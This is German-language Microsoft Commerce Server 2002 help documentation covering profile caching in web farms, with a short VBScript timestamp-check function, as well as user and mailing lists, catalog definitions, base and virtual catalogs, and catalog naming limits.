Zielgruppenadressierungs-Kontext | Seitengruppe (Zeichenfolge) | Name der Seitengruppe (z. B. "Sportseiten")

Siehe auch

Ausführen der Profilressource

Verwenden von Profilen bei der Websiteverwaltung

Profilstruktur

Profildefinitionen

Profileigenschaften

Profileigenschaftsattribute

Zusammenstellen und Speichern von Profilen


Verwenden von Profilen in einem Webfarmszenario

In Webfarmszenarien stellt jeder Server einen lokalen Profilcache zur Verfügung. Der Wert des Benutzerprofils (UserObject-Profil) in einem bestimmten Cache kann veraltet sein, wenn das Profil auf einem anderen Server geändert wurde. Damit der Server erkennt, dass sich das Benutzerprofil geändert hat, wird beim Erstellen und Aktualisieren des Profils (mit der Methode UpdateUserProfile) im Benutzerprofil (im Profilspeicher) und in einem Cookie für den Benutzer ein Timestamp für die letzte Aktualisierung festgelegt.

Wenn ein Benutzer einen Server in einer Webfarm besucht, wird der Timestamp des im lokalen Cache gespeicherten Profils mit dem Timestamp im Cookie (mit der Methode GetCurrentUserProfile) verglichen. Falls die Angaben nicht übereinstimmen, wird das Profil (mit der Methode GetInfo der IADs-Schnittstelle) unter Umgehung des lokalen Cache aus dem Profilspeicher abgerufen. Wenn keine Cookies aktiviert sind, wird der Cache immer umgangen, da es aufgrund bestimmter Probleme, wie der Schaltfläche Zurück oder der Seitenaktualisierung, keine sichere Methode zur Rückverfolgung des Zeitpunktes der letzten Aktualisierung gibt.

Bei der Suche nach Adressprofilen wird der Cache immer umgangen, da auf diese Profile selten zugegriffen wird und die Anzahl der rückzuverfolgenden Profile sehr hoch sein kann. Bei der Suche nach Organisationsprofilen wird der Cache in Abhängigkeit davon umgangen, mit welcher Wahrscheinlichkeit sich die Profildaten ändern.

Selbst mit dem Lösungsansatz des Timestamps sind Probleme hinsichtlich der Kohärenz von Cache- und Profildaten nicht ausgeschlossen. Wenn beispielsweise ein aktuell zwischengespeichertes Benutzerprofil über Business Desk oder Partner Desk auf dem Computer eines anderen Benutzers geändert wird, erhalten die Sites keine Mitteilung darüber, dass der Cache nicht mehr aktuell ist. Um dieses Problem zu verringern, wird bei der Anmeldung in den Lösungssites die GetInfo-Methode aufgerufen. Wenn dieser Grad an Genauigkeit nicht ausreicht, beziehen die Lösungssites die in der Datei INCLUDE\SETUPENV.ASP deklarierte Variable m_iGlobalProfileLookUpOption ein. Mit dieser Variablen wird der Aufruf der GetInfo-Methode zum Abrufen des Profils aus dem Profilspeicher erzwungen.

Die folgende Funktion EnsureUpToDateUserProfile der Lösungssites verdeutlicht die Kernfunktionen einer Implementierung, bei der die erwähnten Probleme berücksichtigt werden. Den vollständigen Codekontext zur Lösung von Webfarmproblemen entnehmen Sie den Lösungssite-Dateien LOGIN.ASP und STDPROFILE_LIB.ASP.

Sub EnsureUpToDateUserProfile(ByRef rsUser)
   Dim sCookieTimeStamp, sCacheTimeStamp

   ' Since testing cookie support on every page that
   ' calls UpdateUserProfile is
   ' expensive, we assume cookie support unless we detect a ticket in URL.
   If m_iTicketLocation <> 1 Then
      sCookieTimeStamp = Request.Cookies("UserProfileTimeStamp")
      sCacheTimeStamp = CStr(rsUser.Fields("ProfileSystem.date_last_changed").Value)

         If (sCookieTimeStamp = "") Or (sCacheTimeStamp <> sCookieTimeStamp) Then
            Call GetProfileFromDB(rsUser)

            ' Set/update the cookie timestamp
               If rsUser Is Nothing Then
                  ' Delete the cookie for a deleted profile.
                  Response.Cookies("UserProfileTimeStamp").Expires=Now - 1
               Else
          Response.Cookies("UserProfileTimeStamp") =
rsUser.Fields("ProfileSystem.date_last_changed").Value
               End If
         End If
         Else
            ' Get the current user's profile from the database
            ' if cookies are not supported.
            Call GetProfileFromDB(rsUser)
         End If
End Sub

Siehe auch

Ausführen der Profilressource

Verwenden von Profilen bei der Websiteverwaltung

Profilstruktur

Profildefinitionen

Profileigenschaften

Profileigenschaftsattribute

Zusammenstellen und Speichern von Profilen


Konzepte für Benutzer- und Adressenlisten

Benutzer- und Adressenlisten sind Textdateien, die Benutzerprofileigenschaften enthalten. Benutzerlisten werden zum Suchen und Aktualisieren von Benutzerprofileigenschaften eingesetzt – Adressenlisten zum Senden von Direktsendungskampagnen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verwenden von Listen bei der Websiteverwaltung
  • Adressenlisten
  • Benutzerlisten
  • Allgemeine Listen


Verwenden von Listen bei der Websiteverwaltung

Mithilfe des Listen-Manager-Moduls von Commerce Server Business Desk können Sie Benutzer- und Adressenlisten in Business Desk importieren und exportieren.

  • Hinzufügen von Listen zum Listen-Manager. In anderen Anwendungen erstellte Listen können in den Listen-Manager importiert werden. Beispiele solcher Anwendungen sind SQL Server (SQL-Tabellen), Editor (ASCII-Textdateien), Microsoft Excel (Kalkulationstabellen) oder Microsoft Outlook (PST-Dateien mit Adressenlisten).

    Wenn Sie z. B. über eine Adressenliste in Form einer Microsoft Excel-Kalkulationstabelle verfügen, können Sie diese Liste mit dem Listen-Manager in Business Desk importieren und dann in einer Direktsendungskampagne verwenden.

    Informationen über das Importieren von Listen in den Listen-Manager finden Sie unter Importieren und Exportieren von Listen.

  • Verwenden von Listen aus dem Listen-Manager. Sie können Benutzerlisten aus dem Listen-Manager-Modul in das Benutzermodul importieren und dann die Benutzerprofile in der Liste aktualisieren. Die Benutzerliste importieren Sie aus dem Listen-Manager-Modul in das Benutzermodul und aktualisieren dann die Benutzerprofile in der Liste. Dazu weisen Sie einer Profileigenschaft in den Benutzerprofilen einen speziellen Wert zu. Diesen Wert verwenden Sie zur Zielgruppenadressierung bestimmter Anzeigen oder Preisnachlasskampagnen an Benutzer, deren Profile Sie geändert haben. Informationen über das Importieren von Listen in das Benutzermodul finden Sie unter Suchen von Benutzerprofilen in Adressenlisten. Informationen über das Ändern mehrerer Benutzerprofile finden Sie unter Bearbeiten mehrerer Benutzerprofile.

    Sie haben auch die Möglichkeit, die Liste in eine andere Anwendung zu exportieren. Informationen über das Exportieren von Listen in eine Datei finden Sie unter Importieren und Exportieren von Listen.

In der folgenden Abbildung wird verdeutlicht, wie Sie Daten aus einer Vielzahl unterschiedlicher Quellen in den Listen-Manager importieren, die so erstellten Listen für Kampagnen und zum Aktualisieren der Profile einsetzen und anschließend die Daten in den Datenbanken aktualisieren bzw. Inhalte zielgerichtet auf bestimmte Benutzergruppen zuschneiden.

Siehe auch

Adressenlisten

Benutzerlisten

Allgemeine Listen


Adressenlisten

Adressenlisten enthalten E-Mail-Adressen im Zeilenformat für die Verwendung in einer Direktsendungskampagne. Jede Zeile in der Liste enthält genau einen Empfänger und besteht aus den folgenden Elementen im CSV-Format.

Element | Beschreibung
E-Mail-Adresse | Erforderlich. Name oder name@domäne.
GUID | Optional. Die eindeutige Benutzer-ID, die zum Bereitstellen von Inhalt in personalisierten E-Mail-Nachrichten verwendet wird.
Nachrichtenformat | Optional. Steuert den Typ des Nachrichtenformats, in das die Ergebnisse vom Collaboration Data Object (CDO) übersetzt werden. Beispiele sind Text, MHTML (MIME Encapsulation of Aggregate HTML Documents) oder MIME (Multipurpose Internet Mail Extensions).
Sprache | Optional. Der Codepagewert für die E-Mail-Nachricht.
URL | Optional. Ermöglicht es, einzelne URLs pro Benutzer an CDO zu übergeben.

Listen lassen sich mit einem beliebigen Text-Editor (z. B. Editor) erstellen. Adressenlisten können zu Business Desk hinzugefügt werden, indem Sie mit dem Listen-Manager-Modul ASCII-Textdateien, Dateien aus Microsoft Excel oder Microsoft Outlook bzw. Tabellen aus SQL Server-Datenbanken importieren. Informationen über das Erstellen einer Adressenliste mit Informationen aus einer PST-Datei von Microsoft Outlook finden Sie unter "Exportieren von Elementen in eine Datei oder in eine Persönliche Ordner-Datei" in der Microsoft Outlook-Hilfe.

Informationen über das Importieren von Adressenlisten für eine Direktsendungskampagne finden Sie unter Importieren einer Adressenliste.

Siehe auch

Verwenden von Listen bei der Websiteverwaltung

Benutzerlisten

Allgemeine Listen


Benutzerlisten

Benutzerlisten enthalten Zeilen mit Benutzer-IDs und – optional – anderen Benutzerprofileigenschaften. Benutzerlisten lassen sich vom Listen-Manager in das Modul Profildefinitions-Designer exportieren. Anschließend können Sie Massenaktualisierungen der Eigenschaften bestimmter Benutzer durchführen.

So können Sie z. B. eine Liste aus dem Segment-Viewer-Modul importieren und im Benutzerprofil für jeden Benutzer eine Eigenschaft festlegen, die die Zugehörigkeit zu einem bestimmten Segment anzeigt. Mit diesen Informationen können Sie dann Anzeigen und Preisnachlässe zielgerichtet für das jeweilige Benutzersegment erstellen.

Siehe auch

Verwenden von Listen bei der Websiteverwaltung

Adressenlisten

Allgemeine Listen


Allgemeine Listen

Allgemeine Listen können beliebige Elemente sowie Kopfzeilen enthalten, wie das folgende Beispiel zeigt:

ProductID | Produktname | Einheit
1 | Socken | 100
2 | Trikots | 20

Im Gegensatz zu Benutzer- und Adressenlisten unterliegen allgemeine Listen keinen inhaltlichen Beschränkungen. Damit Sie allgemeine Listen einsetzen können, muss Ihre Anwendung von einem Siteentwickler angepasst werden.

Mit allgemeinen Listen können Sie z. B. Produkteigenschaften festlegen. Führen Sie den Commerce Server-Bericht "Produktverkäufe" aus, um die beliebtesten Produkte (in Bezug auf die Verkäufe) in Ihrer Website zu ermitteln. Mit dem Katalog-Editor-Modul wird diesen Produkten eine Eigenschaft zugewiesen, die sie als Verkaufsschlager ausweist. Mithilfe dieser Eigenschaft können Sie dann Zielausdrücke erstellen oder den Preis der Produkte um 5 % erhöhen.

Eine andere Verwendung von allgemeinen Listen ist der Versand von Coupons an treue Onlinekunden zur Einlösung in Ihrem Verkaufsgeschäft.

Siehe auch

Verwenden von Listen bei der Websiteverwaltung

Adressenlisten

Benutzerlisten


Katalogkonzepte

Ein Katalog bietet eine Möglichkeit, die Produkte zu organisieren, die Sie verkaufen möchten. Kataloge verwenden Sie zum Bearbeiten und Verwalten der in Ihrer Datenbank gespeicherten Produktdaten zum Zwecke der Anzeige in Ihrer Site sowie zum Abstimmen des Produktangebots auf die Benutzer.

Um Ihnen das Organisieren Ihrer Kataloge zu erleichtern, führt Commerce Server Business Desk eine Beschreibung der für die einzelnen Kataloge in einer Katalogdefinition definierten Eigenschaften. In der Definition sind alle Kategorien, Produkte und Eigenschaften aufgeführt, die in dem Katalog zulässig sind.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verwenden von Katalogen bei der Websiteverwaltung
  • Eine Übersicht über die Struktur von Katalogen
  • Kataloge: Produkte und Kategorien
  • Die Katalogdefinition: Eine Beschreibung von Produkten und Kategorien
  • Eindeutige Bezeichner in Katalogen
  • Kataloghierarchien und -beziehungen
  • Basiskataloge und virtuelle Kataloge
  • Namens- und Größenbeschränkungen für Kataloge
  • Kataloge von mehreren Lieferanten
  • Aggregierte Kataloge
  • Mehrsprachige Kataloge
  • Externe Kataloge: Verwenden von Verbindungsschlüsseln
  • Katalogsätze
  • Methoden zur Produktpreisberechnung


Verwenden von Katalogen bei der Websiteverwaltung

Mithilfe der Katalogmodule in Commerce Server Business Desk können Sie Kataloge erstellen und verwalten. Mit anderen Business Desk-Modulen können Sie Ihre Katalogprodukte promoten. Wenn sich Ihre Site z. B. in der Produktion befindet, können Sie mit den Analysemodulen Berichte ausführen, um die Produkte zu erfassen, die sich nicht gut verkaufen. Anschließend können Sie mit den Kampagnenmodulen eine Preisnachlasskampagne erstellen, um den Absatz dieser Produkte zu erhöhen.

Business Desk ermöglicht die folgenden Aktionen:

  • Importieren von Katalogen aus anderen Datenquellen. Sie können Kataloge im CSV- oder XML-Format aus externen Quellen importieren. Wenn Sie beispielsweise über Kataloge in anderen Datenbanken verfügen, können Sie diese in die Katalogdatenbank von Commerce Server importieren und dann mit Business Desk verwalten.

    Zur Konvertierung von Katalogen in das XML- oder CSV-Format können Sie die Kataloge entweder mit Ihrem vorhandenen Datenbankverwaltungssystem im XML- bzw. CSV-Format speichern oder einen Siteentwickler ein Skript schreiben lassen, das die Kataloge automatisch konvertiert.

  • Exportieren von Katalogen. Sie können Ihre Kataloge im XML-Format exportieren. Wenn Sie beispielsweise als Großhändler Produkte verkaufen, bietet es sich an, Ihre Kataloge für Einzelhändler zu exportieren. Sie haben auch die Möglichkeit, einen Katalog in eine andere Anwendung zu exportieren, z. B. in ein Lagerbestands- oder Preisfestlegungssystem.

    Wenn Sie den Import und Export von Katalogen in Commerce Server zeitlich planen möchten, kann ein Siteentwickler diese Funktion bereitstellen.

  • Festlegen von Preisnachlässen für bestimmte Produkte. Sie können Preisnachlässe auf alle Produkte in einer Kategorie oder nur auf solche Produkte anwenden, die bestimmte Kriterien erfüllen. Beispiel: Bei Produkt.Preis > 20,00 können Sie festlegen, dass ein Preisnachlass von 10 % auf den Preis gewährt wird, sobald Benutzer das entsprechende Produkt zu ihrem Warenkorb hinzufügen.
  • Bearbeiten von Produkten im Katalog. Sie haben die Möglichkeit, gegebenenfalls Produktname, -preis, -beschreibung und andere Produkteigenschaften zu ändern.
  • Aktualisieren von Produktinformationen in Echtzeit. Sie können Produktinformationen, z. B. den Produktpreis, aktualisieren und die Änderungen sofort in Ihrer Website veröffentlichen. Wenn Benutzer beispielsweise ein Produkt zu ihren Warenkörben hinzugefügt haben und Ihre Site aktualisiert wird, bevor sich die Benutzer abmelden, wendet Commerce Server den neuen Preis auf die Produkte in den Warenkörben an. Wenn die Benutzer ihre Warenkörbe gespeichert haben und dann nach der Preisaktualisierung zu den Warenkörben zurückkehren, wird bereits der neue Preis angezeigt.
  • Identifizieren der Produkte, die sich gut verkaufen. Führen Sie Commerce Server-Berichte aus, um die bestverkauften Produkte bzw. Kategorien nach verkauften Einheiten und Gesamtumsatz zu ermitteln. Die Analyseergebnisse können Sie z. B. zur Anwendung von Preisnachlässen auf Produkte verwenden, die sich nicht gut verkaufen, oder um Zubehör für erfolgreiche Produkte zu promoten. Außerdem kann Ihr Siteentwickler die Site so anpassen, dass verwandte Verkaufstypen wie Up-Selling und Cross-Selling unterstützt werden.
  • Suche nach Produkten. Produkte lassen sich über eine Eigenschafts- oder Freitextsuche finden.

Die folgende Abbildung vermittelt einen Überblick über die Prozesse im Produktkatalogsystem, die beim Importieren und Exportieren von Katalogen, beim Aktualisieren der Katalogdatenbank und beim Importieren der Katalogdaten ins Data Warehouse ablaufen.


Eine Übersicht über die Struktur von Katalogen

Ein Commerce Server 2002-Katalog setzt sich aus drei Hauptteilen zusammen:

  • Katalogdefinition. Eine Beschreibung der Kategorien und Produkteigenschaften für einen Katalog. In der Definition sind alle Kategorien, Produkte und Eigenschaften aufgeführt, die in dem Katalog zulässig sind. Die Katalogdefinition ist für alle Kataloge in einer Site verfügbar.
  • Basiskatalog. Eine einzelne Instanz der Katalogdefinition, die Daten enthält.
  • Virtueller Katalog. Ein Katalog, von dem die Produktdaten in einem oder mehreren Basiskatalogen referenziert werden. Produkte sind in der Datenbank immer nur einmal vorhanden, unabhängig davon, in wie vielen virtuellen Katalogen sie auftauchen.

Die folgende Tabelle zeigt ein Beispiel für eine Katalogdefinition ("Kleidung") sowie eine einzelne Instanz der Kleidungskatalogdefinition mit Daten des Sportbekleidungskatalogs.

Katalogdefinition Basiskatalog: Sportbekleidung
Kategoriedefinition: Abteilung
Kategorieeigenschaften
Name
Beschreibung
Image_filename
Image_width
Image_height
 Kategorie: Sporttrikotabteilung

Sporttrikotabteilung
Katalog für Sporttrikots 2002
Sports_shirts.gif
100
200
Produktdefinition: Trikots
Produkteigenschaften:
Name
Hersteller
Preis
Produktvarianteneigenschaften:
Größe
Farbe
SKU
 Produkt: Ass-Fußballtrikot

Ass-Fußballtrikot
Ass-Trikots
20,00 €

M
Grün
23354

Zum besseren Verständnis des Commerce Server-Katalogs wird in den folgenden Themen näher auf Kataloge eingegangen. Im Einzelnen geht es dabei zunächst um die angezeigten Inhalte von Websites (beispielsweise dem Sportbekleidungskatalog) und die zu Grunde liegenden Strukturen, d. h. die Katalogdefinition.


Kataloge: Produkte und Kategorien

Ein Commerce Server-Katalog ist eine Instanz einer Katalogdefinition. Er enthält die Daten einzelner Produkte und die Kategorien, in denen diese organisiert sind. Zur Erstellung eines Katalogs können Sie mithilfe der Katalogmodule in Commerce Server Business Desk entweder einen externen Katalog importieren oder einen neuen Katalog anlegen. Anschließend veröffentlichen Sie den Katalog in Ihrer Website.

In diesem Abschnitt werden folgende Themen behandelt:

  • Der Katalog
  • Kategorien
  • Produkte
  • Produktfamilien und Produktvarianten


Der Katalog

Ein Katalog besteht aus Kategorien, Produkten, Produktvarianten und Eigenschaften. Benutzer, die Ihre Website besuchen, navigieren durch Kategorien, lesen die Produktbeschreibungen und kaufen bestimmte Produkte bzw. Produktvarianten. Anhand der Eigenschaften stehen den Benutzern Schlüsselwörter für die Produktsuche zur Verfügung.


Kategorien

Kategorien sind einzelne Instanzen einer Kategoriedefinition. Mit der Kategoriedefinition "Abteilung" lässt sich so z. B. die Kategorie "Fußballtrikots" erstellen.

Jede Kategorie und jedes Produkt kann über eine primäre übergeordnete Kategorie verfügen. Diese primäre übergeordnete Kategorie liefert einen kanonischen Pfad zu einer untergeordneten Kategorie bzw. einem Produkt. Wenn ein Produkt mehreren Kategorien angehört und der Preis auf Kategorieebene festgelegt wird, werden ferner nur die Preise aus der primären übergeordneten Kategorie auf die untergeordneten Kategorien und Produkte angewandt. (Sie können entweder einen Preis auf Kategorieebene festsetzen oder die Preisregel eines virtuellen Katalogs auf die Kategorie anwenden.)


Produkte

Produkte sind einzelne Artikel in Ihrem Katalog. Ein Produkt wird über eine Kombination aus Eigenschaftsdefinitionen definiert. Beispiel: Es gibt die Produktdefinition "Fußballtrikots" mit den Eigenschaften "Name", "Farbe" und "Größe". Für jede Kombination dieser Eigenschaften, die in Ihrem Katalog enthalten sein soll, erstellen Sie nun ein Produkt.


Produktfamilien und Produktvarianten

Eine Produktfamilie ist ein Produkt, das Produktvarianten enthält. Sonst unterscheidet sich eine Produktfamilie nicht von einem Produkt.

In der vorigen Abbildung ist Ass-Fußballtrikots eine Produktfamilie, die einen Trikottyp in allen Kombinationen aus verfügbaren Farben und Größen beinhaltet. Jede Kombination aus Art, Größe und Farbe ist eine Produktvariante. Ein grünes Trikot in L mit der SKU (Lagerhaltungsnummer) 114 ist eine Produktvariante des Produkts Fußballtrikot, d. h., zusammen bilden Größe, Farbe und SKU eine Variante.

Eine Produktfamilie hat immer einen eindeutigen Bezeichner, z. B. den Namen des Produkts.

Eine Produktvariante beinhaltet immer einen eindeutigen Bezeichner, z. B. die SKU, und einen Preis. Die einzelnen Produktvarianten basieren auf derselben Produktdefinition.


Die Katalogdefinition: Eine Beschreibung von Produkten und Kategorien

Die Katalogdefinition beschreibt die Eigenschaften der Kategorien und Produkte in einem bestimmten Katalogtyp. In der Katalogdefinition eines Sportbekleidungskatalogs könnten beispielsweise folgende Produkte definiert sein: Trikots, Hosen und Schuhe. Zur Erstellung einer Katalogdefinition können Sie das Modul "Katalogdefinitions-Designer" von Commerce Server Business Desk verwenden.

Die folgende Abbildung zeigt Teile einer Katalogdefinition und verdeutlicht, wie diese den Teilen eines Katalogs zugeordnet sind. Eigenschaften werden in Kategorie- und Produktdefinitionen verwendet. Die Kategoriedefinition "Abteilung" wird für die Kategorie "Fußballtrikots" verwendet. Die Produktdefinition "Fußballtrikot" wird für das Produkt "Ass-Fußballtrikot" verwendet.

In diesem Abschnitt werden folgende Themen behandelt:

  • Die Katalogdefinition
  • Kategoriedefinitionen
  • Produktdefinitionen
  • Eigenschaftsdefinitionen


Die Katalogdefinition

Eine solche Katalogdefinition besteht aus Kategoriedefinitionen, Produktdefinitionen und Eigenschaftsdefinitionen. Kategorie- und Produktdefinitionen werden mithilfe von Eigenschaftsdefinitionen erstellt.

Die folgende Abbildung zeigt die Elemente einer Beispielkatalogdefinition.

Elemente einer Beispielkatalogdefinition

Die Katalogdefinition können Sie auch dann bearbeiten, wenn ein Katalog bereits Daten enthält. Sie können die folgenden Aktionen durchführen:

  • Umbenennen einer Produkt- oder einer Kategoriedefinition
  • Ändern der Eigenschaften, die in einer Kategoriedefinition oder Produktdefinition enthalten sind

Folgende Aktionen sind nicht möglich:

  • Umbenennen einer Eigenschaftsdefinition
  • Ändern des Datentyps einer Eigenschaft, beispielsweise von einer Zahl in eine Zeichenfolge


Kategoriedefinitionen

Kategoriedefinitionen beschreiben die jeweiligen Merkmale der Katalogkategorien. Diese Merkmale werden Kategorieeigenschaften genannt. Kategoriedefinitionen werden durch Zuweisung von Kategorieeigenschaften erstellt. Die Abteilungskategoriedefinition könnte beispielsweise folgende Kategorieeigenschaften besitzen: Name, Beschreibung, Bilddateiname, Bildhöhe und Bildbreite. Zur Erstellung einer Kategorie basierend auf der Abteilungskategoriedefinition geben Sie Werte für die Kategorieeigenschaften ein. So könnte z. B. "Sporttrikotabteilung" die Namenskategorieeigenschaft sein.


Produktdefinitionen

Produktdefinitionen beschreiben die jeweiligen Merkmale eines bestimmten Produkts. Diese Merkmale werden Produkteigenschaften genannt. Produktdefinitionen werden durch Zuweisung von Produkteigenschaften erstellt. Beispielsweise könnten Sie eine Produktdefinition mit der Bezeichnung "Trikot" erstellen, die folgende drei Produkteigenschaften enthält: Name, Hersteller und Preis. Zur Erstellung eines Produkts basierend auf der Trikot-Produktdefinition geben Sie Werte für die Produkteigenschaften ein. So könnte z. B. "Ass-Fußballtrikot" die Namensprodukteigenschaft sein.


Eigenschaftsdefinitionen

Sowohl Produkt- als auch Kategorieeigenschaften basieren auf Eigenschaftsdefinitionen. Eine Eigenschaftsdefinition enthält Informationen über die Eigenschaft, wie etwa den Datentyp der Eigenschaft (z. B. Zahl, Text, mehrsprachiger Text oder Dezimal), den Namen der Eigenschaft und den Mindestwert der Eigenschaft. Sie können beispielsweise eine Eigenschaft namens "Trikotgröße" mit den Werten "S", "M" und "L" oder eine Eigenschaft namens "Länge" mit einem Mindestwert von 10 und einem Höchstwert von 120 erstellen.


Eindeutige Bezeichner in Katalogen

Bei der Erstellung eines Basiskatalogs bestimmen Sie, welche Eigenschaften als eindeutige Bezeichner für Produkte und Produktvarianten dienen sollen. Sowohl Produkte als auch Produktvarianten haben eindeutige Bezeichner. Diese eindeutigen Bezeichner bestehen entweder aus einer Text- oder Nummerneigenschaft.

Hinweis

  • In einem virtuellen Katalog lautet die Produkt-ID immer "ProductId" und die Varianten-ID immer "VariantId". Bei der Erstellung eines virtuellen Katalogs müssen Produkt- und Varianten-ID jedoch nicht angegeben werden.

Bei einem Bücherkatalog beispielsweise wäre der Buchtitel der eindeutige Bezeichner des Buches, und die ISBN-Nummer könnte der eindeutige Bezeichner für die Produktvariante sein. Für das Buch The Quest Ahead wären die gebundene Ausgabe, die Taschenbuchausgabe und die Hörbuchausgabe jeweils eine Variante. Diese drei Produktvarianten sind Teil der Produktfamilie "The Quest Ahead".

Das folgende Beispiel zeigt die Komponenten der Produktfamilie "The Quest Ahead":

Produktfamilie = The Quest Ahead
Eindeutige ID = Titel: The Quest Ahead

Produktvariante = The Quest Ahead (gebundene Ausgabe)
Eindeutige ID = ISBN: 1102334
Preis = 20,00
Produktvariante = The Quest Ahead (Taschenbuch)
Eindeutige ID = ISBN: 1102335
Preis = 10,00
Produktvariante = The Quest Ahead (Audiobuch)
Eindeutige ID = ISBN: 1102336
Preis = 15,00

Eine Liste der empfohlenen Vorgehensweisen für die Vergabe von eindeutigen Bezeichnern finden Sie unter Empfohlene Vorgehensweisen für Kataloge.


Kataloghierarchien und -beziehungen

Während die Katalogdefinition die Struktur angibt, die dem Katalog zu Grunde liegt, werden Kataloghierarchien und -beziehungen erstellt, um die Produkte im Katalog zu organisieren und das Navigieren zu den gewünschten Produkten zu erleichtern.

Kategoriehierarchien und -beziehungen können zwischen Kategorien und Produkten aus einem Katalog oder aus verschiedenen Katalogen erstellt werden. Bei einem sehr umfangreichen Katalog können Sie beispielsweise eine übergeordnete Kategorie erstellen, der mehrere unterschiedliche, als untergeordnete Kategorien bezeichnete Kategorien angehören. Wenn Benutzer zur übergeordneten Kategorie navigieren, werden die untergeordneten Kategorien angezeigt. So können Ihre Benutzer schneller zu der Kategorie navigieren, die die gewünschten Produkte enthält.

Dieser Abschnitt beinhaltet folgende Themen:

  • Primäre übergeordnete Kategorie


Primäre übergeordnete Kategorie

Jede Kategorie und jedes Produkt kann über eine primäre übergeordnete Kategorie verfügen. Diese primäre übergeordnete Kategorie liefert einen kanonischen Pfad zu einer untergeordneten Kategorie bzw. einem Produkt. Wenn ein Produkt mehreren Kategorien angehört und der Preis auf Kategorieebene festgelegt wird, werden ferner nur die Preise aus der primären übergeordneten Kategorie auf die untergeordneten Kategorien und Produkte angewandt. (Sie können entweder einen Preis auf Kategorieebene festsetzen oder die Preisregel eines virtuellen Katalogs auf die Kategorie anwenden.)

Die folgende Abbildung zeigt, wie eine übergeordnete Kategorie eine Reihe von untergeordneten Kategorien haben kann, und wie auch die einzelnen untergeordneten Kategorien wiederum übergeordnete Kategorien sein können.

Funktionsweise der primären übergeordneten Kategorie

In der obigen Abbildung verfügt der Sportbekleidungskatalog über zwei Kategorien: Trikots und Hosen. Die Trikotkategorie hat zwei untergeordnete Kategorien: Fußballtrikots und zweiteilige Freizeitanzüge. Über diesen Aufbau können Benutzer zwei Wege zur Kategorie "Zweiteilige Freizeitanzüge" nehmen. Sie können zu den Freizeitanzügen über die Trikot- oder über die Hosenkategorie navigieren.

Diese Abbildung zeigt ebenso eine Zubehörbeziehung zwischen Ass-Fußballtrikots und Ass-Fußballshorts. Falls sich Benutzer für die Trikots interessieren, haben sie möglicherweise auch Interesse an den Shorts.


Basiskataloge und virtuelle Kataloge

Bevor Sie mit dem Erstellen oder Organisieren von Katalogen beginnen, sollten Sie sich bewusst machen, dass generell zwei Arten von Katalogen erstellt werden können: Basiskataloge und virtuelle Kataloge. In den folgenden Themen werden die beiden Katalogtypen näher erläutert. Darüber hinaus wird die Arbeit mit virtuellen Katalogen anhand von drei Beispielen verdeutlicht.

Dieser Abschnitt beinhaltet folgende Themen:

  • Basiskataloge
  • Virtuelle Kataloge
  • Virtueller Katalog – Beispiel 1: Anbieten von Sonderpreisen
  • Virtueller Katalog – Beispiel 2: Berechnen und Angeben von Produktpreisen in anderen Währungen
  • Virtueller Katalog – Beispiel 3: Anbieten einer Teilmenge von Produkten


Basiskataloge

Basiskataloge enthalten Kategorien und Produkte, jedoch keine spezifischen Preisregeln. Ferner enthalten sie Produktdaten, die in der Katalogdatenbank gespeichert sind.


Virtuelle Kataloge

In virtuellen Katalogen werden die Produktdaten in einem oder mehreren Basiskatalogen referenziert. Wenn Sie ein Produkt einem Basiskatalog hinzufügen, kann es abhängig von den Einschlussregeln auch im dazugehörigen virtuellen Katalog auftauchen. Die Produkte in einem virtuellen Katalog sind in der Datenbank nur einmal repräsentiert, unabhänig davon, in wie vielen virtuellen Katalogen sie auftauchen.

Es gibt drei wesentliche Verwendungszwecke für virtuelle Kataloge:

  • Die Aggregierung mehrerer Kataloge, sodass sie Benutzern als ein Katalog angezeigt werden.
  • Die Angabe der Produktpreise in mehreren Währungen.
  • Das Anbieten von Sonderpreisen oder speziellen Produkten für bestimmte Benutzergruppen.

Virtuelle Kataloge unterstützen Preisberechnungsregeln. Das heißt, Sie können angeben, ob der Preis für die Kategorie oder das Produkt derselbe Preis wie im Basiskatalog ist oder sich von ihm unterscheidet (z. B. ein Prozentwert oder ein festgelegter Wert darüber oder darunter).


Virtueller Katalog - Beispiel 1: Anbieten von Sonderpreisen

Feedback zu dieser Seite senden Commerce Server 2002

Virtueller Katalog – Beispiel 1: Anbieten von Sonderpreisen

In der folgenden Abbildung haben zwei fiktive europäische Firmen – Wheels Express und Bikes Galore – einen Vertrag abgeschlossen. Wheels Express wird an Kunden von Bikes Galore Motorradräder mit einem Preisnachlass von 20 Prozent verkaufen. Alle Produktpreise sind in Euro angegeben.

Funktionsweise virtueller Kataloge


Virtueller Katalog - Beispiel 2: Berechnen und Angeben von Produktpreisen in anderen Währungen

Feedback zu dieser Seite senden Commerce Server 2002

Virtueller Katalog – Beispiel 2: Berechnen und Angeben von Produktpreisen in anderen Währungen

Die folgende Abbildung enthält einen virtuellen Katalog mit Produkten aus einem Basiskatalog, in dem die Preise in Euro angegeben sind. Die Preise im virtuellen Katalog werden für den Verkauf der entsprechenden Produkte in der Schweiz mit 0,68 multipliziert und in Schweizer Franken angegeben.

Funktionsweise virtueller Kataloge


Virtueller Katalog - Beispiel 3: Anbieten einer Teilmenge von Produkten

Feedback zu dieser Seite senden Commerce Server 2002

Virtueller Katalog – Beispiel 3: Anbieten einer Teilmenge von Produkten

Die folgende Abbildung zeigt einen virtuellen Katalog, der eine Teilmenge der Produkte eines Basiskatalogs enthält. Die Teilmenge wird in Frankreich verkauft. Alle Produktpreise sind in Euro angegeben.

Funktionsweise virtueller Kataloge


Namens- und Größenbeschränkungen für Kataloge

In diesem Abschnitt sind die Namens- und Größenbeschränkungen für Kataloge auf der Commerce Server Business Desk-Ebene und der Katalog-API-Ebene aufgeführt.

Dieser Abschnitt beinhaltet folgende Themen:

  • Business Desk- und Katalog-API
  • Skalierung von Produktkatalogen


Business Desk- und Katalog-API

Für die angegebenen Eigenschaften gelten die folgenden Zeichenbeschränkungen:

Artikel | Namens- und Größenbeschränkungen
Name der Eigenschaftsdefinition
  • Namen von Eigenschaftsdefinitionen können bis zu 100 Zeichen lang sein.
  • An der ersten Stelle sind keine Ziffern zulässig.
  • Punkte (.) und Kommas (,) sind ebenfalls nicht zulässig.
  • Es dürfen keine Zeichen verwendet werden, die für XML-Tagnamen nicht zulässig sind. Eine Liste der in XML-Tagnamen zulässigen Zeichen finden Sie im Microsoft XML 3.0 – XML Developer's Guide (nur auf Englisch verfügbar). Dieses Handbuch befindet sich unter http://go.microsoft.com/fwlink/?LinkId=5161.
